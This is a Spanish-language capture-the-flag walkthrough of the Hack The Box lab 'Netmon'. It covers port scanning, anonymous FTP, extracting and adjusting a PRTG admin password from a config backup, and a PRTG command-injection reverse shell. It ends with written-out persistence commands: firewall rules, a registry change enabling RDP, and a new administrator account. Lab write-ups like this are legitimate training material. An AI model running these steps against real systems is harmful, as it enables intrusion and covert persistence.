Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Fácil |
Puntos: | 20 |
Lanzamiento: | 02-Marzo-2019 |
IP: | 10.10.10.152 |
Primera sangre de usuario: | Baku |
Primera sangre de system: | [snowscan](https://www.hackthebox.eu/home/users/profile/9267 |
Creadores: | mrb3n |
Reconocimiento.
Como siempre comenzaremos con un escaneo a los 65535
puertos de la máquina para poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts netmon.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 11:41 CDT
Nmap scan report for netmon.htb (10.10.10.152)
Host is up (0.15s latency).
Not shown: 62116 closed ports, 3406 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Parámetro | Descripción |
---|---|
-p- | Escanea los 65535 puertos de la máquina. |
–open | Muestra solo los puertos abiertos. |
-T5 | Velocidad del escaneo muy agresiva. |
-n | Desactivar la resolución de nombres DNS. |
–min-rate | Paquetes por segundo. |
Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
intrusionz3r0@kali:~$ nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -oN targeted netmon.htb -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 11:44 CDT
Nmap scan report for netmon.htb (10.10.10.152)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -6s, deviation: 0s, median: -7s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-09T16:45:15
|_ start_date: 2020-09-09T16:40:57
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.73 seconds
Parámetro | Descripción |
---|---|
-sCV | Es la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios. |
-p | Especifica los puertos a enumerar. |
-oN | Exporta el escaneo en formato nmap. |
Resumen de puertos.
Los puertos que mas destacan son:
- Puerto 21 FTP: con el usuario Anonymous habilitado.
- Puerto 80 HTTP: con una aplicación PRTG Network Monitor.
- Puertos 139,445 con un servicio Samba.
- Puerto 5985 con un Winrm.
Enumeración Samba.
Utilizare la herramienta smbclient
para ver los recursos compartidos utilizando sesiones nulas.
1
2
intrusionz3r0@kali:~$ smbclient -L netmon.htb -N
session setup failed: NT_STATUS_ACCESS_DENIED
Pero lamentablemente no tenemos acceso, por lo que pasaremos a otro puerto.
Enumeración FTP.
Para enumerar el servicio FTP podemos hacerlo de varias maneras.
Método 1: FTP (normal)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
intrusionz3r0@kali:~$ ftp netmon.htb
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:intrusionz3r0): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
Método 2: wget
1
intrusionz3r0@kali:~$ wget --no-passive --no-parent -r ftp://Anonymous:pudin@netmon.htb
Método 3: curlftpfs
1
2
intrusionz3r0@kali:~$ mkdir /mnt/HTB/Netmon
intrusionz3r0@kali:~$ curlftpfs Anonymous:loquesea@netmon.htb /mnt/HTB/Netmon
Esta vez usare el método 3.
Me monto el contenido del FTP y comienzo a enumerar el contenido.
Nos encontramos con una estructura muy parecida a la una unidad de disco.
Podemos pasar a recoger nuestra prestigiosa flag de user ya que no hay mucho que hacer por ahora.
Enumeración HTTP.
Abro mi navegador y me dirijo a http://netmon.htb/index.htm.
Nos encontramos un software llamado PRTG Network Monitor.
Como atacantes necesitamos saber a que nos estamos enfrentando por lo que te recomiendo que siempre busques sobre la funcionalidad del software.
Hago una búsqueda en Google y encuentro lo siguiente:
Ahora que sabemos un poco mas sobre este software podemos continuar.
En la página principal nos encontramos con un panel de login.
Te recomiendo que siempre que te encuentres con un panel de login y tengas el nombre del software o gestor de contenido investiga cuales son las credenciales por defecto.
Haré una simple búsqueda con palabras claves.
Podemos observar cuales son las credenciales por defecto de PRTG Network Monitor , pero lamentablemente las credenciales no son validas.
Enumeración FTP (2).
Si recuerdas tenemos acceso al disco por FTP por lo que haré una búsqueda en Google para encontrar si existe un archivo de configuración donde se almacenen las credenciales.
Hago una búsqueda en Google.
Web: https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data.
Dentro de esa página encontramos lo que parece ser algunas rutas donde se almacenan los archivos importantes.
Ahí encontraremos algunos archivos de los cuales podemos obtener información sensible.
Ruta: C:\Users\All Users\Paessler\PRTG Network Monitor
Si nos vamos a la ruta anterior encontraremos lo siguiente:
El archivo que mas destaca es: PRTG Configuration.old.bak
Abro una terminal y ejecuto el siguiente comando en busca de unas posibles credenciales.
1
intrusionz3r0@kali:~$ cat "PRTG Configuration.old.bak" | grep password -C 3 | less -S
¡¡Eureka!!
Tenemos unas credenciales.
Rápidamente regreso al navegador e intento probar las credenciales pero me retorna un mensaje de que las credenciales son incorrectas.
Lo que me hace pensar en que como el archivo PRTG Configuration.old.bak
era un respaldo muy viejo la contraseña pudo cambiar por lo que modifique la contraseña de PrTg@dmin2018
a PrTg@dmin2019
.
y…
Versión: 18.1.37.13946.
Análisis de vulnerabilidades.
Comenzaremos a realizar una búsqueda en Google para ver si esta versión esta asociada a alguna vulnerabilidad.
Web: PRTG < 18.2.39 Command Injection Vulnerability .
Explotación de vulnerabilidades.
Según el articulo nosotros somos capaces de inyectar comandos a través de un panel de notificación que permite la ejecución de programas.
Nos dirigimos a Account Settings -> Notifications -> Add Notification -> Execute Program.
Creamos una nueva notificación a la que le pondré de nombre Reverse shell y en la sección de Programa a ejecutar escribo lo siguiente:
Lo que haré a continuación será montarme un servidor con samba que comparta el binario de nc.exe
para mandarme una reverse shell directamente desde mi servidor utilizando la vulnerabilidad.
Ejecutamos la notificación.
¡¡Somos Administradores!!
Escritorio Remoto.
Antes de terminar me gustaría conectarme de manera remota a la máquina, para ello creo una regla de firewall que permita el trafico de entrada y salida por el puerto 3389.
1
2
C:\Windows\system32> netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
C:\Windows\system32> netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=out localport=3389 action=allow
Después habilitamos el RDP modificando los registros.
1
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Después nos creamos un usuario y lo convertimos en administrador.
1
2
C:\Windows\system32> net user intrusion Hola123! /add
C:\Windows\system32> net localgroup Administrators intrusion /add
Por ultimo solo utilizamos remmina
para conectarnos vía escritorio remoto.
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.